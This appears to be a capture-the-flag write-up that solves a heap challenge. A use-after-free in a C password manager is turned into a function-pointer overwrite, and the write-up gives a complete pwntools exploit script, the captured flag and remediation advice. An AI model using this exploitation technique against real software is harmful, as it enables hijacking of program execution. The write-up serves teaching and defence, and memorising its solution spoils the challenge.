Challenge: Password Vault · CTF: DalCTF 2026 · Category: Pwning · Difficulty: Medium

A clean little heap challenge that boils down to one classic mistake: free() without nulling the pointer. We turn that dangling pointer into an arbitrary function-pointer call and redirect execution to a function the developer left in the binary but “forgot” to wire into the menu — the one that prints the flag.


1. Recon

We’re given two files: the source manager.c and the compiled binary vault. Having source makes this a white-box challenge, so let’s read it carefully.

First, the protections:

1
2
3
4
5
6
7
8
9
$ checksec --file=vault
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

The important takeaways:

  • No PIE — the binary loads at a fixed base 0x400000, so every function has a hardcoded, known address. No leak needed.
  • NX enabled — the stack/heap is non-executable, so no injecting shellcode. We’ll need to reuse existing code.
  • IBT / SHSTK (Intel CET) — indirect branches must land on an endbr64 instruction, and there’s a shadow stack. This sounds scary, but it only matters if we try to jump into the middle of a function or do ROP. Calling a legitimate function at its real entry point is completely fine — every function starts with endbr64.

So the strategy writes itself: find a way to call an existing function of our choosing, at its entry point.


2. Reading the source

The program is a password manager with a menu:

1
2
3
4
5
  1. new login
  2. delete login
  3. set password
  4. check master key
  0. quit

Each “login” is this struct:

1
2
3
4
5
typedef struct {
    void (*can_check)(void);   // <-- function pointer, offset 0
    char  username[12];
    char  password[12];
} Login;                       // 32 bytes total

Notice the very first field is a function pointer. That’s a giant red flag in a heap challenge. Logins are stored in a global array:

1
static Login *logins[MAX_LOGINS];   // 8 slots

The interesting functions

There’s a function that reads the flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
static void read_master_key(void)
{
    puts("\n[*] Reading master key...");
    FILE *f = fopen("flag.txt", "r");
    if (!f) { puts("flag.txt not found — create it for testing"); return; }
    char buf[64];
    fgets(buf, sizeof(buf), f);
    fclose(f);
    printf("[+] Master key: %s\n", buf);
}

This is exactly what we want — it opens flag.txt and prints it. But search the menu handler: read_master_key is never called anywhere. It’s dead code, sitting in the binary at a fixed address, waiting for us.

When you create a login, the function pointer is initialised to the harmless handler instead:

1
2
3
4
5
6
7
static void new_login(void)
{
    ...
    Login *l = malloc(sizeof(Login));
    l->can_check = access_denied;   // <-- the "safe" function
    ...
}

And access_denied just prints a rejection:

1
2
3
4
static void access_denied(void)
{
    puts("[!] Access denied — You don't have the master key.");
}

Option 4 calls whatever that pointer holds:

1
2
3
4
5
6
static void check_master_key(void)
{
    int i = read_int("  slot [0-7]: ");
    if(!check_slot_empty(i)) return;
    logins[i]->can_check();   // <-- indirect call through our pointer
}

So if we can overwrite can_check with the address of read_master_key, option 4 prints the flag. The whole challenge is: how do we control those 8 bytes?


3. The bug — Use-After-Free

Look closely at delete_login:

1
2
3
4
5
6
7
8
static void delete_login(void)
{
    int i = read_int("  slot [0-7]: ");
    if(!check_slot_empty(i)) return;
    printf("  [-] deleting login for '%s'\n", logins[i]->username);
    free(logins[i]);
    // <-- logins[i] is NEVER set to NULL!
}

It frees the chunk but leaves logins[i] pointing at the now-freed memory. That’s a textbook use-after-free (UAF) / dangling pointer.

The validation function doesn’t save us either — it only checks for NULL, which the dangling pointer is not:

1
2
3
4
5
static check_slot_empty(int i){
    if (i < 0 || i >= MAX_LOGINS) { puts("  bad slot"); return 0; }
    if (!logins[i]){ puts("  slot empty"); return 0; }   // dangling ptr passes this
    return 1;
}

So after deleting slot 0, we can still call option 4 on slot 0 and it will dereference freed memory. If we can get our own data placed into that freed chunk, we control can_check.

The reallocation primitive

set_password is the perfect tool to reclaim the freed chunk:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
static void set_password(void)
{
    if (pwd_buf){ free(pwd_buf); pwd_buf = NULL; }

    int size = read_int("  password buffer size: ");
    if (size <= 0 || size > 512) { puts("  bad size"); return; }

    pwd_buf  = malloc((size_t) size);   // <-- attacker-chosen size
    pwd_size = (size_t) size;

    printf("  enter password: "); fflush(stdout);
    fread(pwd_buf, 1, pwd_size, stdin);  // <-- attacker-controlled bytes
    puts("  [+] password stored");
}

It lets us malloc a chunk of a size we pick and then fread arbitrary bytes into it. This is the key to the exploit.


4. Heap mechanics — why the chunk comes back

Modern glibc uses the tcache (thread-local caching) for small allocations. The rule we care about:

When you free() a small chunk, it goes onto a per-size tcache bin. The very next malloc() of that same size pops it straight back off — returning the exact same memory.

Our Login struct is 32 bytes (8 + 12 + 12). malloc(32) returns a chunk whose real size, including the 16-byte header rounding, is 0x30. That 0x30 bin is what we need to hit.

So when we later request a password buffer that also lands in the 0x30 bin, malloc hands us back the same address the freed Login lived at. Our fread then writes directly over the struct — and the first 8 bytes we write are can_check.

The request size for set_password just needs to round to a 0x30 chunk (anything from 25–40 bytes works); I used 32 to match exactly.


5. Putting it together

The attack flow:

  1. new login in slot 0 → allocates a Login chunk (size 0x30), with can_check = access_denied.
  2. delete login slot 0 → frees that chunk. logins[0] is now a dangling pointer; the chunk sits at the head of the 0x30 tcache bin.
  3. set password, size 32malloc(32) reclaims the same chunk. We fread p64(read_master_key) + padding into it, overwriting can_check.
  4. check master key slot 0 → executes logins[0]->can_check(), which is now read_master_key() → flag printed.

A quick ASCII view of the chunk before and after the overwrite:

1
2
3
4
5
6
7
After step 1 (allocated Login):       After step 3 (reclaimed via set_password):
+-------------------------+           +-------------------------+
| can_check = access_denied|  0x00     | can_check = read_master_key|  <-- our 8 bytes
+-------------------------+           +-------------------------+
| username[12]            |  0x08     | "AAAAAAAA..." (padding) |
| password[12]            |  0x14     |                         |
+-------------------------+           +-------------------------+

We didn’t even need the username/password fields — only the first 8 bytes matter.

The target address

Because there’s no PIE, we just read the address straight out of the binary:

1
2
$ nm vault | grep read_master_key
00000000004012d6 t read_master_key

read_master_key lives at 0x4012d6, and it begins with endbr64, so the CET/IBT indirect-branch check is satisfied — the call is perfectly legal.


6. Exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
from pwn import *

context.binary = ELF("./vault", checksec=False)

READ_MASTER_KEY = 0x4012d6   # no PIE → fixed address

def conn():
    if args.REMOTE:
        return remote("instancer.dalctf2026.com", 25383)
    return process("./vault")

def menu(p, choice):
    p.sendlineafter(b"> ", str(choice).encode())

def new_login(p, slot, user, pw):
    menu(p, 1)
    p.sendlineafter(b"slot [0-7]: ", str(slot).encode())
    p.sendafter(b"username: ", user + b"\n")
    p.sendafter(b"password: ", pw + b"\n")

def delete_login(p, slot):
    menu(p, 2)
    p.sendlineafter(b"slot [0-7]: ", str(slot).encode())

def set_password(p, size, data):
    menu(p, 3)
    p.sendlineafter(b"password buffer size: ", str(size).encode())
    p.sendafter(b"enter password: ", data)

def check_master_key(p, slot):
    menu(p, 4)
    p.sendlineafter(b"slot [0-7]: ", str(slot).encode())

p = conn()

new_login(p, 0, b"user", b"pass")          # 1) allocate Login (0x30 chunk)
delete_login(p, 0)                          # 2) free it -> dangling pointer (UAF)
set_password(p, 32, p64(READ_MASTER_KEY)    # 3) reclaim same chunk, overwrite can_check
                    + b"A" * 24)
check_master_key(p, 0)                       # 4) logins[0]->can_check() == read_master_key()

p.recvuntil(b"Master key:")
print(p.recvline().decode().strip())
p.close()

Run it:

1
2
3
$ python3 exploit.py REMOTE
[+] Opening connection to instancer.dalctf2026.com on port 25383: Done
dalctf{fr33d_fr0m_d4s1r3_n4n4n4}

🚩 Flag: dalctf{fr33d_fr0m_d4s1r3_n4n4n4}

A fitting flag — “freed from desire” — given the bug is a freed chunk we never let go of.


7. Lessons & remediation

The whole challenge hinges on a one-line omission. The fix is the classic UAF defence:

1
2
free(logins[i]);
logins[i] = NULL;   // <-- always null a pointer after freeing it

Two compounding design smells made it exploitable:

  • A function pointer as the first struct member. Putting code pointers next to attacker-controlled data is asking for trouble; if it must exist, keep it far from user input or validate it before every call.
  • Validation that only checks NULL. “Not null” is not the same as “valid.” A freed-but-not-nulled pointer sails right through.

Takeaways for players

  • Read delete/free paths first in any heap challenge — a missing = NULL is the single most common heap bug in CTFs.
  • No PIE + a leftover “win” function is a huge hint that you only need to control one code pointer, not build a full ROP chain.
  • tcache makes reclaiming a freed chunk trivial: free a chunk, then malloc the same size, and you get the same memory back to write into.
  • CET/IBT doesn’t block calling whole functions. It only stops jumps into the middle of code or gadget chains. Redirecting a function pointer to a real function entry is unaffected.